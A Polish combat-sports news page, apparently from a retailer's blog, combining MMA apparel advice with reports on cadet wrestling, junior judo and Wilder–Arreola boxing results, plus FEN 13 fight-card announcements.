Każdy profesjonalny sport wymaga odpowiedniego sprzętu – pod tym względem mieszane sztuki walki nie są żadnym wyjątkiem. Jeżeli zatem poważnie myślisz o MMA, to musisz liczyć się z tym, że na początku będziesz musiał ponieść pewne wydatki. Najlepiej, żebyś swoje zakupy rozpoczął od zakupu właściwych spodenek. Tu opcji jest stosunkowo sporo, a poszczególne modele dość znacznie się od siebie różnią. Zawodnicy MMA najczęściej wybierają spodenki do grapplingu – sięgają one mniej więcej do kolan, a ich obie nogawki są delikatnie rozcięte u dołu, zapewniając w ten sposób większą swobodę ruchu. Dużą zaletą tego typu spodenek jest ich uniwersalność, niezawodność i… długość. Chronią one bowiem większą powierzchnię nóg, co bywa pomocne w walce z kick-boxerami, którzy często obijają uda.

""

Extreme Hobby Spodenki Grappling MMA

Inną opcją są spodenki Vale Tudo. I o ile spodenki grapplingowe są dosyć luźne i obszerne, to Vale Tudo ściśle przylegają do ciała zawodnika i sięgają najczęściej do połowy uda, choć zdarzają się również modele bezpośrednio nad kolano. Z noszenia tego typu spodenek słyną m.in. Anderson Silva, Phil Davis czy Mauricio Shogun Rua.

Rashguard

Spodenki to podstawa, ale mówiąc o odzieży MMA, koniecznie trzeba wspomnieć również o rashguardach. Co prawda zdecydowana większość profesjonalnych walk odbywa się bez nich, ale nic nie stoi na przeszkodzie, żeby korzystać z nich w trakcie intensywnych treningów na macie. Tym bardziej, że ich podstawową funkcją jest ochrona ciała przed infekcjami skórnymi oraz obtarciami, które mogą się tam przydarzyć. Ale to akurat nie powinno przesadnie dziwić, skoro „rashguard” oznacza w naszym języku „ochronę przed wysypką”.

""

Extreme Hobby Rashguard

Inne zalety rashguardów? Przede wszystkim są one bardzo przewiewne, dzięki czemu nasza skóra może lepiej oddychać w trakcie treningu. Poza tym rashguardy regulują temperaturę ciała, poprawiają pracę mięśni i przyspieszają regenerację po ciężkim treningu. Profesjonalna odzież MMA wykorzystuje też specjalne płaskie szwy i tym samym zapewnia swoim użytkownikom znacznie lepszą mobilność ruchów.

Początek bez medalu

W Sztokholmie trwa rywalizacja o medale w mistrzostwach Europy kadetów w zapasach. Początek w wykonaniu Polaków nie najlepszy. Blisko podium był Jakub Szymula w 85kg. W czołowej dziesiątce w kategorii 58kg w stylu wolnym znalazł się Karol Czegus.

Zmagania potrwają do niedzieli 24 lipca. Do Sztokholmu pojechało 36 polskich kadetów.

Ilość przełożyć na jakość

Cierpliwość popłaca, więc czekamy na medalowe występy naszych zawodników. W większości kategorie wagowe są licznie obsadzone, dlatego też dojście na szczyt wymaga nie lada wysiłku. 

W stylu wolnym w kategorii 42kg Daniel Budyka dobrze rozpoczął zmagania. Polak wypunktował Białorusina Stanislaua Varabyeu i mógł myśleć o pojedynku w 1/8 finału. Tam spotkał się z Halilem Godenizem, który pokazał swoją wyższość. Ostatecznie Turek zakończył zmagania z brązowym medalem, a Budyka został sklasyfikowany na 10. miejscu. Nieudany start zanotował Adrian Wagner w 50kg. Polak stoczył dwie walki i obie przegrał. Najpierw padł ofiarą Engina Cetina, który zdobył wicemistrzostwo Europy, a w repasażach uległ Kamilowi Kerymovi. Wagner zajął dopiero 26. pozycję. 

Zadowolony ze swojego występu może być Karol Czegus. Polak w silnie obsadzonej kategorii 58kg, w której zaprezentowało się 31 zapaśników zajął 9. lokatę. Czegus po pokonaniu Rumuna Lungu, przegrał z Ali Sherievem, czyli późniejszym mistrzem, co zrzuciło go do repasaży. Tam zanotował wygraną i porażkę, kończąc swój udział w turnieju. Drugi z Polaków startujących w 58kg, Marcin Mikołajczyk był 19. 

Karol Wojciechowski szybko zakończył swoją przygodę z czempionatem. Jedna walka i 19. miejsce w 69kg. Bliski realizacji marzeń o medalu był Jakub Szymula w 85kg. W ćwierćfinale lepszy okazał się Arsenii Khubae, który ostatecznie wywalczył złoto. Polak w repasażach pokonał Dominika Pecha i mógł rywalizować o brąz. W decydującym starciu został rozbity przez Naila Seyyara z Turcji. Ostatecznie Szymula zajął 5. miejsce.

W kategorii 54kg biało-czerwoni nie zachwycili. Kordian Skrzyński i Krystian Brzeziński stoczyli po zaledwie jednej walce. Pierwszy z nich został sklasyfikowany na 30, przedostatnim, miejscu, a drugi pięć lokat wyżej. Przygodę z rywalizacją w Sztokholmie szybko zakończyli również Damian Wróbel (100kg) i Szymon Wojtkowski (63kg). Ambitnie walczył Hubert Antolak w 76kg, który w ćwierćfinale przegrał z Johannesem Demlem. Polak zajął 13. miejsce.

Kto jeszcze?

W stylu wolnym zapadają ostateczne rozstrzygnięcia. Kolejne dni należeć będą do klasyków i pań. Kto zaprezentuje się w polskich barwach?

Wśród pań kciuki trzymać będziemy za: Nikolę Dytrych (38kg), Monikę Klepuszewską (43kg), Amandę Tomczyk (49kg), Renatę Nieściur (49kg), Natalię Duksa (52kg), Magdalenę Głodek (52kg), Angelikę Mytkowską (56kg), Sylwię Martykę (56kg), Paulinę Martykę (60kg), Wiktorię Chołuj (65kg), Ewelinę Ciunek (70kg) i Eweliną Kaczyńską (70kg).

W stylu klasycznym wystartują: Kamil Czarnecki (42kg), Dominik Dudziński (50kg), Filip Petrończak (54kg), Jakub Majdański (58kg), Aleksander Mielewczyk (58kg), Błażej Starzyński (63kg), Nikodem Drewa (63kg), Piotr Zabłocki (69kg), Patryk Bednarz (69kg), Szymon Szymonowicz (76kg), Michał Dybka (85kg), Gerard Kurniczak (100kg).

KM

Wielki rewanż Wlazło kontra Mora na gali FEN 13 Summer Edition!

Na to starcie tytanów kibice MMA czekali blisko dwa lata! Michał Wlazło, którego Dawid Mora pokonał na gali FEN 4 Summer Edition, będzie miał okazję wyrównać rachunki już 13 sierpnia na gali FEN 13 Summer Edition w Gdynia Arena. Poprzednia walka tych zawodników była pasjonującym widowiskiem, rewanż zapowiada się więc fantastycznie.

Michał Wlazło i Dawid Mora w pierwszej walce, która została później nominowana do Heraklesów 2014 w kategorii Walka Roku MMA, zafundowali publiczności ogromne emocje. Obaj byli świetnie  przygotowani do tego starcia i od pierwszej sekundy poszli na ostrą, bezpardonową wymianę ciosów. Mimo że wywodzą się ze sportów stójkowych, pojedynek przez większość czasu toczył się w parterze. Nie psuło to jednak dramaturgii widowiska, podczas którego sytuacja w klatkoringu zmieniała się jak w kalejdoskopie – początkowo przewagę zyskał Wlazło, w końcówce pierwszej rundy do szturmu na rywala ruszył Mora. W drugiej rundzie po jednej z akcji mocno zmęczeni, ale wciąż walczący bardzo agresywnie zawodnicy znów znaleźli się w parterze, a Dawid zdołał zająć pozycję za plecami Michała. Podopieczny Tomasza Makowskiego nie zmarnował tej szansy i założył duszenie zza pleców, które faworyt trójmiejskiej publiczności musiał odklepać.

Dla Michała Wlazło (33 lata, 195 cm, 3-2) rewanżowy pojedynek z Dawidem Mora będzie szóstą zawodową walką MMA, a zarazem drugim występem w klatkoringu FEN. Zanim zainteresował się mieszanymi sztukami walki, w których jako zawodowiec debiutował już w 2007 roku, trenował capoeirę, kickboxing i muay thai. Jest m.in. zawodowym mistrzem Europy w K-1 federacji UPKA i wielokrotnym mistrzem Polski w muay thai. Od walki z Mora na gali FEN 4 Summer Edition w Sopocie zawodnik klubu Forfit Gdańsk bił się w formule MMA tylko raz, pod koniec ubiegłego roku na gali RXF 21 w Bukareszcie. W walce wieczoru tej imprezy sprawił miejscowym kibicom niemiłą niespodziankę, dosłownie demolując ważącego 160 kg rumuńskiego olbrzyma Alexandra Lungu.

Dla Dawida Mora (30 lat, 181 cm, 3-1) zwycięska walka z Michałem Wlazło była drugą w zawodowej karierze, jaką stoczył na zasadach MMA, i drugą w klatkoringu FEN. W sumie dla federacji Fight Exclusive Night wywodzący się z K-1 i muay thai zawodnik klubu Maku Gym Nowe Miasteczko walczył trzykrotnie, odnosząc komplet zwycięstw. Co ciekawe, zarówno w debiucie na gali FEN 3 War Is Coming, w którym zmierzył się ze Szwedem Leo Kosticem, jak i w swoim ostatnim starciu z Białorusinem Jurijem Dobkovem na gali FEN 6 Showtime fighter z Zielonej Góry wygrywał po tym, jak rywale odmówili wyjścia do walki w kolejnej rundzie. Szansę następnych występów odebrała mu poważna kontuzja, po której podopieczny trenera Tomasza Makowskiego rozważał nawet całkowitą rezygnację z walk w formule MMA. Leczenie i rehabilitacja przyniosły jednak doskonałe rezultaty i Mora jest w pełni gotowy do wyzwania, które czeka go na gali FEN 13 Summer Edition.

„Kibice uwielbiają rewanże, więc kiedy pojawiła się szansa, aby Michał Wlazło i Dawid Mora znów stanęli naprzeciwko siebie, zrobiliśmy wszystko, aby do tej walki doszło już na gali FEN 13 Summer Edition – mówi Paweł Jóźwiak, prezes FEN. – Dawid twierdzi, że jest stuprocentowo zdrowy i zapowiada, że rozprawi się z Michałem jeszcze szybciej niż poprzednio. Michał jednak zrobił duży progres jako zawodnik MMA i będzie na pewno znacznie groźniejszym przeciwnikiem niż był dwa lata temu. Jestem pewien, że 13 sierpnia w Gdynia Arena czeka nas jeszcze większa wojna niż poprzednio, w której obie strony wytoczą najcięższe działa”.

Tego wieczora na zasadach MMA walczyć będą również Piotr Hallmann z Kamilem Łebkowskim, Marian Ziółkowski z Jackiem Kreftem i Bartosz Chyrek z Ireneuszem Szydłowskim. Kibice zobaczą także pojedynki w formule K-1 Kryspina Kalskiego z Arkadiuszem Wrzoskiem, Marcina Szredera z Arturem Bizewskim, Róży Gumiennej z Kamilą Bałandą, Jarosława Daschke z Marcinem Stopką i Karola Kruzela z Jakubem Rajewskim. Nazwiska kolejnych uczestników gali ogłoszone zostaną w najbliższych dniach.

Bilety na FEN 13 Summer Edition można już kupować w serwisach Eventim.pl oraz KupBilet.pl, a zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 13 Summer Edition znajdziecie na stronie internetowej Fight Exclusive Night oraz fanpage’u federacji FEN na Facebooku.

FEN

Kruzel kontra Rajewski na gali FEN 13 Summer Edition

Pierwszym pojedynkiem na zasadach K-1 podczas gali FEN 13 Summer Edition w Gdynia Arena będzie starcie dwóch młodych, perspektywicznych zawodników: Karola Kruzela i Jakuba Rajewskiego. Obaj fighterzy 13 sierpnia zadebiutują w klatkoringu Fight Exclusive Night.

Karol Kruzel (25 lat, 178 cm, 6-1) jest wychowankiem klubu Duet z Gdańska, w którym trenował podczas studiów, ale obecnie reprezentuje klub Agoga Gym ze swego rodzinnego Lęborka. Trenuje pod okiem znakomitego szkoleniowca Rafała Kałużnego. Jest m.in. brązowym medalistą Pucharu Europy w kickboxingu low kick, dwukrotnym wicemistrzem Polski w kickboxingu light contact i dwukrotnym medalistą Pucharu Świata. Jako zawodowiec debiutował trzy i pół roku temu na gali Duet 4Fight Night w Bytowie, wygrywając na punkty z miejscowym zawodnikiem Markiem Janikowskim. W kolejnych starciach do swego rekordu dołożył 5 zwycięstw i 1 porażkę, występując głównie na lokalnych galach K-1 na Pomorzu i Kujawach. W ostatniej walce, w październiku ubiegłego roku, na gali WBT 2 w Gdańsku po dobrej walce pokonał na punkty Mateusza Wojnę.

Młodszy o rok od swojego rywala Jakub Rajewski (24 lata, 184 cm, 2-2) specjalizuje się w muay thai i w tej właśnie dyscyplinie odnosił dotąd największe sukcesy. Zawodnik, który nosi przydomek „Bydlak”, trenuje w klubie Muaythai Legion Bydgoszcz. Jako amator stoczył 45 walk, wygrywając 30 pojedynków, w tym 11 razy przez nokaut. Wielokrotnie zdobywał Puchar Polski Muay Thai, ma na swoim koncie również złote i srebrne medale Międzynarodowych Mistrzostw Polski  Muay Thai oraz starty w Pucharze Świata i Pucharze Europy. Walczył również w turnieju o pas WMC Muaythai Against Drugs, przegrywając dopiero w finale. Na zawodowych arenach występował czterokrotnie, odnosząc 2 zwycięstwa i doznając 2 porażek. Jego walka z Kruzelem na gali FEN 13 Summer Edition będzie nie tylko jego debiutem w federacji Fight Exclusive Night, ale również pierwszą walką w karierze, jaką stoczy na zasadach K-1.

Oprócz pojedynku Karola Kruzela z Jakubem Rajewskim na gali FEN 13 Summer Edition w walkach w formule K-1 publiczność zobaczy również Różę Gumienną i Kamilę Bałandę, Kryspina Kalskiego i Arkadiusza Wrzoska, Jarosława Daschke i Marcina Stopkę oraz Marcina Szredera. Z kolei na zasadach MMA 13 sierpnia w Gdynia Arena walczyć będą m.in. Piotr Hallmann z Kamilem Łebkowskim, Marian Ziółkowski z Jackiem Kreftem i Bartosz Chyrek z Irkiem Szydłowskim oraz Michał Wlazło i Aleksander Georgas. Nazwiska kolejnych uczestników gali ogłoszone zostaną w najbliższych dniach.

Bilety na FEN 13 Summer Edition można już kupować w serwisach Eventim.pl oraz KupBilet.pl, a zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 13 Summer Edition znajdziecie na stronie internetowej Fight Exclusive Night oraz fanpage’u federacji FEN na Facebooku.

FEN

Lepiej niż rok temu

W ubiegłorocznym Pucharze Europy Juniorów we Wrocławiu polscy judocy sięgnęli po sześć medali. Podczas tegorocznych zmagań w Gdyni wynik ten udało się poprawić. Biało-czerwoni sięgnęli po siedem medali.

Przez dwa dni w Gdyni nie brakowało emocji. Niestety, Polakom nie udało się wywalczyć miejsca na najwyższym stopniu podium. Szanse były, ale złote medale zawisły na szyjach rywalek naszych zawodniczek. 

Kowalczyk nie zawiodła

Wiele obiecywaliśmy sobie po występie naszych judoczek w kategorii 57kg. Wysoką dyspozycję potwierdziła Julia Kowalczyk z Polonii Rybnik. Polka konsekwentnie realizowała swój plan i pewnie zmierzała do finału, choć nie miała łatwej drogi. Kowalczyk musiała wspiąć się na wyżyny, aby pokonać Larissę Krevel. Holenderka poległa przez jedną karę shido. W półfinale Polka stoczyła morderczy bój z Acelyą Toprak i wygrała po dogrywce. O triumfie Kowalczyk zadecydowało yuko. Zmęczona, ale szczęśliwa zawodniczka Polonii Rybnik przystąpiła do walki o złoty medal. Yui Murai potrzebowała niespełna czterech minut na ippon i nasza zawodniczka musiała obejść się smakiem. Dobrze w 57kg prezentowała się Anna Dąbrowska. Zawodniczka Juvenii Wrocław dotarła do rywalizacji o brąz, gdzie górą była Acelya Toprak.

Szanse na wywalczenie złotego medalu miała Paula Kułaga w 78kg. Judoczka TDK Trzcianka szybko uporała się z Oksaną Perevozniuk i Jasmijn Lesthejuis, co dało jej awans do finału. W decydującym boju Kułaga musiała uznać wyższość Ilony Lucassen.

Niczym struś pędziwiatr sprawę brązowego medalu w 73kg załatwił Tomasz Czerniawski. Reprezentujący barwy AZS UW Warszawa zawodnik w starciu o miejsce na podium w dwanaście sekund uporał się z Dmytro Tsiukhem. W 55kg o medal rywalizowało dwóch Polaków. Tomasz Zielski okazał się lepszy od Szymona Śmiegiela i stanął na trzecim stopniu podium. Podobnie było wśród pań w kategorii +78kg. Daria Tylman z GKS Czarni Bytom lepsza od Anity Formeli z Conrada Gdańsk.

Jakub Ozimek w Gdyni stoczył pięć walk w kategorii 90kg. Judoka AZS AWF Warszawa w rywalizacji o brąz pokonał Jelle'a Snippe'a. Na trzecim stopniu podium stanął również Kacper Szczurowski (100kg).

Dorobek medalowy biało-czerwonych mógł być większy. Sześciu judoków rywalizowało o brązowe medale, jednak musieli uznać wyższość rywali. W tym gronie znaleźli się m.in. Barbara Kulik i Julia Świątkiewicz.

Pomarańczowi królowali

Najmocniejszą ekipą podczas zmagań w Gdyni okazali się Holendrzy. Popularni Pomarańczowi wywalczyli dwanaście medali, w tym trzy złote. Za ich plecami Japończycy, którzy w dorobku mają siedem krążków. Trzy złote medale dały Włochom miejsce na pudle w klasyfikacji końcowej turnieju.

Puchar Europy w Gdyni był jednym z ostatnich etapów przygotowań do mistrzostw Europy, które we wrześniu odbędą się w Hiszpanii. Wcześniej biało-czerwoni zaprezentują się w zawodach w Pradze i Berlinie.

KM

Daschke vs. Stopka na gali FEN 13 Summer Edition

Dorobek medalowy i bilans stoczonych walk dają Jarosławowi Daschke miejsce w ścisłej czołówce polskich kickbokserów. Marcin Stopka sukcesy i rekord ma na razie skromniejsze, ale młody fighter wie, jak wygrywać z wielkimi mistrzami. 13 sierpnia obaj skrzyżują rękawice na gali FEN 13 Summer Edition w Gdynia Arena.

Jarosław Daschke (26 lat, 173 cm, 9-1) jest klubowym kolegą Kamili Bałandy w Szkole Sztuk Walki Champion w Gdańsku i podobnie jak ona trenuje pod okiem Bogdana Bliźniaka. Jako amator stoczył aż 153 walki, zwyciężając w 119 z nich. Ma na koncie m.in. 3 srebrne medale Pucharu Świata, 10 tytułów mistrza Polski w kickboxingu, K-1, low-kick i muay-thai oraz 4 Puchary Polski w kickboxingu i K-1, wielokrotnie też reprezentował Polskę na mistrzostwach świata i mistrzostwach Europy. Na zawodowych arenach gdańszczanin stoczył 10 walk, odnosząc 9 zwycięstw, w tym dwa niezwykle cenne nad mistrzem świata Artemem Voskoboynikovem z Białorusi. Zdobył także tytuł Zawodowego Mistrza Krajów Nadbałtyckich Federacji BMAF K-1.

Przed publicznością Fight Exclusive Night Jarosław Daschke wystąpił latem 2014 roku na gali FEN 4 Summer Edition w Sopocie, kiedy to starł się z Łukaszem Gawlikiem. Od początku walki to właśnie zawodnik Szkoły Sztuk Walki Champion nadawał ton wydarzeniom w klatkoringu, był aktywniejszy i skuteczniej wykonywał techniki kopane, ostatecznie wygrywając ten pojedynek jednogłośną decyzją sędziów.

Marcin Stopka (23 lata, 170 cm, 1-1) jeszcze dla FEN nie walczył, ale miał już okazję bić się z bardzo mocnymi, utytułowanymi przeciwnikami. Co ważniejsze, potrafi z nimi wygrywać – zaledwie miesiąc temu w swoim ostatnim pojedynku sprawił niemałą sensację, pokonując na międzynarodowej gali FBF w Krynicy zawodowego mistrza świata Sandora Gronai z Węgier.

Stopka pochodzi z niewielkiej górskiej wsi Jaworki koło Szczawnicy, ale trenuje w klubie Fight House Nowy Sącz. Swoją formę i umiejętności szlifuje u znakomitego zawodnika i trenera Rafała Dudka, który swoim podopiecznym przekazuje wiedzę zdobytą m.in. w słynnym holenderskim klubie Mike’s Gym. Jaworczanin zaliczany jest do największych talentów swojego pokolenia, czego potwierdzeniem są m.in. dwa złote medale zdobyte w ubiegłym roku na Międzynarodowych Otwartych Mistrzostwach Czech w formułach full contact i K-1 oraz brązowy medal wywalczony na Pucharze Polski K-1 w 2014 roku. Jego rekord amatorski to 8 zwycięstw i 6 porażek. Jako zawodowiec walczył dwukrotnie, raz wygrywając i raz przegrywając.

Oprócz Jarosława Daschke i Marcina Stopki na gali FEN 13 Summer Edition w walkach na zasadach K-1 publiczność zobaczy również Różę Gumienną i Kamilę Bałandę, Kryspina Kalskiego i Arkadiusza Wrzoska oraz Marcina Szredera. Federacja ujawniła także, że w formule MMA 13 sierpnia w Gdynia Arena walczyć będą m.in. Piotr Hallmann z Kamilem Łebkowskim, Marian Ziółkowski z Jackiem Kreftem i Bartosz Chyrek z Irkiem Szydłowskim oraz Michał Wlazło i Aleksander Georgas. Nazwiska kolejnych uczestników gali ogłoszone zostaną w najbliższych dniach.

Bilety na FEN 13 Summer Edition można już kupować w serwisach Eventim.pl oraz KupBilet.pl, a zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 13 Summer Edition znajdziecie na stronie internetowej Fight Exclusive Night oraz fanpage’u federacji FEN na Facebooku.

FEN

Wilder zmiażdżył Arreolę

Trzydzieste szóste zwycięstwo przed czasem bombardiera z Alabamy. Deontay Wilder po raz kolejny udowodnił, że ma paraliżujący cios. 30-latek wybił Chrisowi Arreoli z głowy marzenia o mistrzowskim pasie WBC. 

35-letni Arreola po raz kolejny dostał szansę rywalizacji o tytuł czempiona w wadze ciężkiej. Ponownie musiał obejść się smakiem. Mistrz z Alabamy udowodnił, że jest rozpędzony i boksuje jak natchniony. Wilder niszczy przeszkody, które stają na jego drodze i nie ma żadnej litości dla kolejnych rywali.

Lądował na deskach

Wilder cieszy się z mistrzowskiego tytułu od stycznia 2015 roku, kiedy to w MGM Grand w Las Vegas wygrał na punkty z Bermane Stiverne'm. W dotychczasowej karierze Amerykanina była to jedyna walka, której nie rozstrzygnął przed czasem. Co zdobył, tego oddać nie chce. Sposobu na Wildera nie znaleźli Eric Molina i Johann Duhapas. Swoich sił próbował Artur Szpilka, który trzymał się dzielnie, jednak w końcu mistrz ukąsił polskiego boksera. „Szpila” padł jak rażony piorunem w dziewiątej rundzie.

Kolejnym śmiałkiem, który chciał odebrać pas 30-latkowi z Alabamy był Chris Arreola. Pięściarz w ringu prezentuje się solidnie i efektownie. Aż trzydzieści jeden walk wygrał przed czasem. Jednak Arreola to bokser, który nie ma czystego sumienia. Pod koniec ubiegłego roku po jednej z gal okazał się, że stosował niedozwolone środki. Od czas porażki ze Stiverne'm, maj 2014 roku, radził sobie przeciętnie. Wygrał tylko z Curtisem Harperem. Mimo przeciętnej dyspozycji dostał szansę rywalizacji o pas.

Od początku starcia w Legacy Arena wyraźnie zaznaczyła się przewaga Wildera. Arreola nie potrafił się odnaleźć i nadążyć za mistrzem. 30-latek był zdecydowanie szybszy i skuteczniejszy. Arreola w czwartej rundzie wylądował na deskach. Pretendent wstał, jednak nie wyglądał najlepiej, ale udało mu się dotrwać do końca odsłony. Wilder przeważał, jednak miał problemy, które spowodowane były urazem prawej ręki. Amerykanin mógł korzystać tylko w lewej górnej kończyny, lecz mimo to nadal niemiłosiernie obijał rywala. Arreola był bez szans i nie potrafił ani przez chwilę zaradzić przeciwnikowi. Po ósmej rundzie narożnik 35-latka rzucił ręcznik. O skali przewagi Wildera najlepiej świadczy liczba celnych ciosów. Amerykanin ugodził rywala aż 152 razy, a przeciwnik tylko 52.

Kontuzja mistrza

Arreola przyjmował potężne bomby, co skutkowało pojawieniem się opuchlizny na jego twarzy. Narożnik postanowił oszczędzić mu kolejnej serii ciosów. Wilder mógł cieszyć się z czwartej obrony mistrzowskiego pasa WBC.

Teraz będzie musiał zadbać o swoje zdrowie. W trakcie pojedynku Amerykanin doznał złamania prawej dłoni i naciągnięcia prawego bicepsa. Mimo to pokazał charakter i utrzymał zupełną dominację nad rywalem.

Wilder czeka na kolejne wyzwania. Liczy, że w końcu spotka się z kimś z piedestału wagi ciężkiej, czyli Joshuą, Fury'm bądź Kliczko.

KM